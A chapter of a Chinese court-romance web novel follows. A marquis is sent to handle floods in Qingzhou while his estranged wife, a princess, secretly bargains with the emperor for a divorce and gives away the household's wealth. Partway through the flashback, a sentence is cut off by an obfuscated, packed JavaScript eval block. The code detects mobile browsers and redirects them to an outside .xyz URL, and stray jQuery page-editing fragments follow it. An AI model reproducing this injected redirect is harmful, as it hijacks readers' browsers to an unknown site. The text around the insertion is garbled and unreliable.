御书房内，竹沥香烟气清透。


    年轻的皇帝斜倚在紫檀宝座上，指尖闲闲地摩挲着一枚温润的羊脂玉扳指：“这位郡主倒是有意思。"


    “不过，你这表面功夫做得……”他喉间逸出几声愉悦的笑，声音慵懒：“今日宴席上，温相那张老脸，啧啧，真真是‘接天莲叶无穷碧’，绿得汪洋恣肆，好生壮观。”


    他看向神色古井不波的顾濯，不由得开始煽风点火：“她这般当众将温相的掌上明珠‘请’下池子沐浴，你又轻轻揭过。温相那只老狐狸，怕是要恨毒了你。说说吧，你预备如何‘惩戒’你这胆大包天的夫人呢？”


    顾濯端坐如松，听到皇帝话里的称呼，执盏的指节微微一滞，随即稳稳地将茶盏凑近唇边，只浅浅抿了一口。


    “陛下多虑了。”他将茶盏轻轻放回几案，“此事无妨。”


    皇帝眉梢微挑：“哦？你倒是不惊不怒？”


    “郡主今日举动，虽然……鲁莽，但也正好借此试探一下温家。”


    “唉，”皇帝眸色渐深，“朕还以为，你会刻意扩大事态，将祁悠然推上风口浪尖，让她四面楚歌，让她无处可去、无人可依……”


    他刻意停顿，挑起一抹玩味的笑：“最终，让她明白，这偌大的京城，侯府是她唯一的归处呢。表弟。”


    顾濯垂眼，没有说话。


    .


    翌日，侯府。


    江烨踌躇：“侯爷，温相那边……怕是不会善了。”


    顾濯眼皮都未抬，声音是一贯的沉冷：“郡主身体抱恙，暂居别院休养。待病体稍愈，我自会携她亲至相府，登门致歉。”


    江烨心领神会，这托词滴水不漏，病几时能“愈”，全系于侯府唇齿之间。


    “挑些贵重的药材送去相府。”顾濯沉吟片刻，又补了一句，“让宫里年长持重的女官亲自转交，言行务必周全，别再生出旁的风言风语。”


    江烨躬身应下，悄无声息地退了出去。


    虽然在皇帝面前轻描淡写，但到底还是挺棘手的一件事。


    温相这次的反应，着实耐人寻味。


    眼下，他不能，也远未到与温家彻底撕破脸皮、图穷匕见的时候。


    罢了。


    顾濯按了按额角。


    归根到底……还是自己纵容的。


    他的目光缓缓移向书案一角，眼神微动。


    那里静静躺着一个打开的锦盒，里面温婉地卧着一只玉镯。


    但一想到它被原封不动送回来，顾濯眼中暗了暗。


    移步花厅时，许伯正在布菜。


    顾濯吩咐：“许伯，着手将别院拾掇出来，一应陈设……按旧例便是。晚些时候，烦你亲自送郡主过去安置。”


    许伯并未立刻应声，只蹙眉不赞同地看他。


    顾濯低低叹出一口气，无奈解释：“不过暂时。我……没想把她怎么样。”


    许伯摇摇头：“她不想去。”


    顾濯疲惫地揉了揉眉心：“这是为她好。”


    “那你就老老实实同她说。”老人声音平缓，“把你的想法，摊开来，清清楚楚地告诉她。告诉她，你是为她好。告诉她，”他顿了顿，“你很关心她。”


    顾濯的呼吸一滞。


    他不自在地别开脸，目光回避一般落在满桌精致的菜肴上，最终停驻在一碟清蒸鲥鱼上。


    尚有桃花春气在，此中风味胜鲈鱼。


    汤汁清亮，散发着温润的鲜气，苏东坡这番赞赏属实受之无愧。


    顾濯眼神恍惚了一瞬：“我记得，母亲在世时，便最爱这鲥鱼。”


    许伯自知说不动他，只能笑笑，脸上的皱纹微微牵动了一下，露出些许怀念：“是啊，以前老侯爷总会仔仔细细地替夫人将鱼刺一根根剔净了。”


    一时间，两人都没再说话。


    顾濯看着这满桌虚张声势的丰盛，却没什么胃口。


    他……似乎很久没和祁悠然一起坐在这张桌子前了。


    “许伯……有时候，我竟觉得，”他自哂，“或许……应该娶个贤妻。”


    无端地，他生出些挫败与无力。


    许伯却没看他，恭敬地喊了一声：“郡主。”


    顾濯身形一僵。


    祁悠然立在门边，那身素净的衣裙裹着她，像裹着一尊满是裂痕的瓷瓶。


    仿佛一个不注意，那摇摇欲坠的瓷片便会碎一地。


    她原以为自己早已心如死水，甫一进门，听到他那番话，心口还是疼了一下。


    “我不想去别院。”祁悠然冷冷看他，“直接和离不好吗？何必这般大费周章？”


    “我没有阻止你泄愤。”顾濯看着她，答非所问。


    祁悠然蹙紧了眉，那疑惑是真切的。


    眼下自己不过一个一无是处的累赘，没有任何利用价值了，他为何还不同意放手？


    “你是要矿脉的舆图吗？”祁悠然妥协，“好，我可以给你。”


    横竖已经是失无所失，得非所得了。


    顾濯不说话。


    屋内陷入清醒而又无解的安静。


    祁悠然知道他的沉默意味着什么。


    这些年，她习惯了。


    习惯了难掩的酸楚，习惯了无望的拉扯。


    只是习惯了，不代表不在乎。


    以前，她还能自欺欺人地盼着，削足适履。


    现在，她捱不下去了。


    爱他时，心尖像煨着一盅温吞的莲子羹，甜腻得发齁。恨他时，杀人的念头又毒蛇般窜上来，只想寻把趁手的匕首，抵着他的心口，“噗哧”一声，替这糟糕的日子开个透气的窟窿。


    话不投机，半句也多，她转身便走，片刻也不想在这窒息的空间待下去。


    “你……”顾濯突然叫住了她，“没有别的要问吗？”


    祁悠然的脚步没有丝毫停顿。


    她没有回头，一个字也没有应。


    桌上盛着五光十色的热闹，桌外却是压抑到极致的安静。


    .


    那天原是要安顿祁悠然去别院的。


    只是天光尚未破晓，青州的急报便如惊雷般，撞破了京城的沉寂。


    水患肆虐，匪寇猖獗，百姓流离失所。


    朝堂震动，如沸水泼油。


    仓惶议定，刻不容缓。


    永安侯临危受命，即刻前往青州治水。


    离京的时辰定在午后，仓促得近乎狼狈。


    偌大的侯府，仆从步履匆匆，在回廊间穿梭，充斥着近乎压抑的紧迫感。


    顾濯立在廊下，正听着江烨禀报相关事宜。


    祁悠然不知何时已立于几步之外，她只是静静地看着他，眼中无悲无喜。


    顾濯似有所觉，转头便对上了她的眼神。


    四目相接，却没有多余的言语。


    檐角的铜铃被风拨动，叮铃一声，又一声，声音碎得不成调子。


    “我不想去别院。”祁悠然看他，看他的眼睛，看他眼中执拗的自己。


    顾濯的眼睛惯是黑沉沉的，像墨玉，表面蒙了层细润的光。


    她感觉自己被这道柔和包裹着，连轮廓的棱角都晕染得柔和了。


    那倒影里的她，温温的，软软的，如同今日慵懒的春光，暖融融地铺陈着。


    这让她不自在，她微微侧了侧脸。


    她今日穿了件纱裙，断肠色，淡得近乎凄清，像黄绿初成柳梢。


    春风也是暖的，掠过她身畔，那轻薄的纱料便微微鼓荡起来。


    裙裾飘拂，漾开的弧度极柔，像柳条最软的梢尖儿，无意间扫过湖面。


    一点涟漪，就这么无声无息地漾开，几乎要触到男人玄色袍裾的下摆。


    顾濯负在身后的手，微微蜷了蜷，终究是没有再多的动作。


    “安分些，等我回来。”


    他听见自己冷淡地开口，默许了。


    声音比平时低哑半分。


    .


    马车远去，祁悠然闭了闭眼，将所有情绪压下。


    她转身回府，素淡的纱裙在渐起的暮风里轻轻一荡，带着尘埃落定的决绝。


    .


    三日前，春耕宴，宫苑深处。


    “哦？你说……你自请你的丈夫，朕的永安侯，前往青州治水？”年轻的帝王饶有趣味地看着跪在阶下的女子，声音带着毫不掩饰的探究。


    祁悠然从容不迫：“顾侯爷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972669|175983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经天纬地之才，思虑缜密，行事果决，于治水安民一道，实乃朝中不二人选。臣妇愚见，青州倒悬之危，非侯爷亲至，恐难解民于水火。”


    “臣妇愿献上矿脉舆图，充实国库，安顿流民。”她微微抬起眼，目光平静。


    皇帝眼中兴味更甚，识趣地问：“那么，你的‘条件’呢？总不会……是替朕分忧解劳，白献忠心吧？”


    “臣妇所求，仅一纸和离书。”


    “虽阴差阳错，臣妇既为陛下龙体康泰略尽绵薄，解了那毒……”祁悠然顿了顿，继续道，“可否斗胆，请陛下金口玉诺，护臣妇性命无虞？温相府上雷霆之怒，臣妇孑然一身，委实……承受不起。”


    “你知道了？”皇帝讶然。


    祁悠然平静应声：“是。”


    “你就不怕他遇难？”


    祁悠然垂下眼：“为国事蒙难，是他之幸，厚葬便是。”


    皇帝久久没有说话。


    “准。”半晌，他开口应允。


    “谢陛下隆恩。”祁悠然宠辱不惊，“臣妇恳请陛下，瞒下此次觐见。”


    皇帝嘴角那点玩味的弧度再也压不住了，隐隐有向上飞扬的趋势。他强忍着，用手掩住上唇，才没让那点近乎幸灾乐祸的笑意彻底绽开。


    有趣，太有趣了！


    他那个心思缜密、算无遗策、向来将人心玩弄于股掌之间的好表弟啊，这番居然真的放任她知晓了真相，虽然不太理解他的企图，但眼下的情况似乎……并没有按他预想中来，这是……玩脱了？


    真真是聪明反被聪明误！


    若不是顾及着那点天子威仪，他真想立刻拍掌叫好。


    他已经迫不及待想看这出好戏怎么唱下去了。


    .


    祁悠然将妆奁收起。她带走的东西不多，不过是阿姐的一方旧帕，母亲的几支簪子。原本就是她的。


    白石走近，声音沉稳：“郡主，诸事已备。”


    祁悠然点点头。


    她走出门，冷眼瞧着庭院里人来人往。仆从们正脚步匆匆，抬着、扛着、搬着一应物件。


    她自嘲地笑了笑：“也难怪他烦我，这三年，我自作主张，倒是往府里添了这般多没用的物件。”


    目光扫过庭院，老人微佝着背，眼神复杂地望着她。


    “我吩咐过了，济世堂每月会按时将舒筋活络的膏药送来。”她不自在地移开视线，“您腰腿上的旧伤……往后，少操些心吧。这几年……劳您费神，实在……添麻烦了。”


    许伯看着眼前的女子，声音带着些哽咽：“郡主……此番，珍重啊。”


    “……您也是。”


    祁悠然看着这侯府，长长呼出一口气。


    因着那点子春风吹又生的恨意，她倏然抬高声音：“传我的话：永安侯顾濯，心系青州苍生，不忍黎庶流离失所！侯府上下，感念其志，愿倾尽府中所有浮财、珍玩、摆设、库藏——凡非房契地契之物，一律变卖！所得钱粮，尽数捐往青州，助朝廷安顿流民，解此燃眉之急！”


    话一出口，瞬间激起一片压抑的抽气声和惊愕的目光。


    仆人们面面相觑，不敢相信自己的耳朵。


    许伯倒是跟着笑了。


    祁悠然对众人的反应恍若未闻，唇边的笑意反而更深了些：“这是为侯爷的名声着想，我是为他好。”


    她这三年，殚精竭虑，为他操持内务，充盈府库。既然今日要走，岂能让他好过？


    她要他回来时，面对一个被掏空了的空壳侯府！


    她要他连一张椅子都坐不成、一张床都睡不成！


    她要这满京城都知道，她祁悠然，是如何“深明大义”、“慷慨无私”地替他散尽了家财！


    至于剩下的烂摊子，或者可能出现的一地鸡毛，与她何干？


    思及顾濯接到消息时可能出现的反应，心底那股被压抑了太久的郁气，终于找到了最痛快的出口。


    她几乎要笑出声来。


    可惜……可惜没能亲眼看着他被推下水。


    不过，也无所谓了。


    不至于把眼圈都熏红。


    “走吧。”


    她挥一挥衣袖，散光了侯府家财。